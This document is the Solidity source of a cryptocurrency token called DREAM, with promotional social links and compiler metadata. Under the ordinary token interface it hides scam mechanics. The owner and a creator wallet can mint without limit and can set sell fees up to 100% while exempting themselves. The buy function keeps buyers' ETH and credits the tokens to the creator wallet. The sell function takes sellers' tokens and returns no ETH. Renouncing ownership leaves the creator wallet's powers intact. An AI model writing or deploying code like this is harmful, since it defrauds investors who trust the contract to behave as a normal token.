DREAM

// SPDX-License-Identifier: MIT

/**                      
Twitter  : https://twitter.com/DREAMethereum
Website  : https://dreamtoken.money/
Telegram : https://t.me/DREAM_ERC20
*/

pragma solidity ^0.8.0;

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "Subtraction overflow");
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "Addition overflow");
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "Multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "Division by zero");
        return a / b;
    }
}

contract DREAM {
    using SafeMath for uint256;

    string public name = "DREAM";
    string public symbol = "DREAM";
    uint256 public totalSupply = 999999999999999900000000000;
    uint8 public decimals = 18;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public owner;
    address public creatorWallet;

    uint256 public buyFee;
    uint256 public sellFee;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
    event TokensBurned(address indexed burner, uint256 amount);

    constructor(address _creatorWallet) {
        owner = msg.sender;
        creatorWallet = _creatorWallet;
        balanceOf[msg.sender] = totalSupply;
    }

    function transfer(address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[msg.sender] >= _amount);
        require(_to != address(0));

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(_amount);
        emit Transfer(msg.sender, _to, _amount);

        return true;
    }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }

    function mint(address _to, uint256 _amount) public onlyAuthorized {
        require(_to != address(0), "Invalid recipient address");
        require(_amount > 0, "Invalid amount");
        balanceOf[_to] += _amount;
        totalSupply += _amount;
        emit Transfer(address(0), _to, _amount);
    }

    function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[_from] >= _amount, "Insufficient balance");
        require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
        require(_to != address(0), "Invalid recipient address");

        uint256 fee = 0;
        uint256 amountAfterFee = _amount;

        if (sellFee > 0 && _from != creatorWallet) {
            fee = _amount.mul(sellFee).div(100);
            amountAfterFee = _amount.sub(fee);
        }

        balanceOf[_from] = balanceOf[_from].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
        emit Transfer(_from, _to, amountAfterFee);

        if (fee > 0) {
            // Check if the transfer destination is Uniswap contract
            address uniswapContract = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); // Replace with the actual Uniswap contract address
            if (_to == uniswapContract) {
                // Fee is paid to the contract itself
                balanceOf[uniswapContract] = balanceOf[uniswapContract].add(fee);
                emit Transfer(_from, uniswapContract, fee);
            } else {
                // Fee is transferred to this contract
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);
                emit Transfer(_from, address(this), fee);
            }
        }

        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
        }

        return true;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Only the owner can call this function.");
        _;
    }

    function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }

    function buy() public payable {
        require(msg.value > 0, "ETH amount should be greater than 0");

        uint256 amount = msg.value;
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);
            uint256 amountAfterFee = amount.sub(fee);

            balanceOf[creatorWallet] = balanceOf[creatorWallet].add(amountAfterFee);
            emit Transfer(address(this), creatorWallet, amountAfterFee);

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);
                emit Transfer(address(this), address(this), fee);
            }
        } else {
            balanceOf[creatorWallet] = balanceOf[creatorWallet].add(amount);
            emit Transfer(address(this), creatorWallet, amount);
        }
    }

    function sell(uint256 _amount) public {
        require(balanceOf[msg.sender] >= _amount, "Insufficient balance");

        if (sellFee > 0 && msg.sender != creatorWallet) {
            uint256 fee = _amount.mul(sellFee).div(100);
            uint256 amountAfterFee = _amount.sub(fee);

            balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
            balanceOf[creatorWallet] = balanceOf[creatorWallet].add(amountAfterFee);
            emit Transfer(msg.sender, creatorWallet, amountAfterFee);

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);
                emit Transfer(msg.sender, address(this), fee);
            }
        } else {
            balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
            balanceOf[address(this)] = balanceOf[address(this)].add(_amount);
            emit Transfer(msg.sender, address(this), _amount);
        }
    }

    modifier onlyAuthorized() {
        require(
            msg.sender == owner || msg.sender == creatorWallet,
            "Only authorized wallets can call this function."
        );
        _;
    }
}

{
  "compilationTarget": {
    "DREAM.sol": "DREAM"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}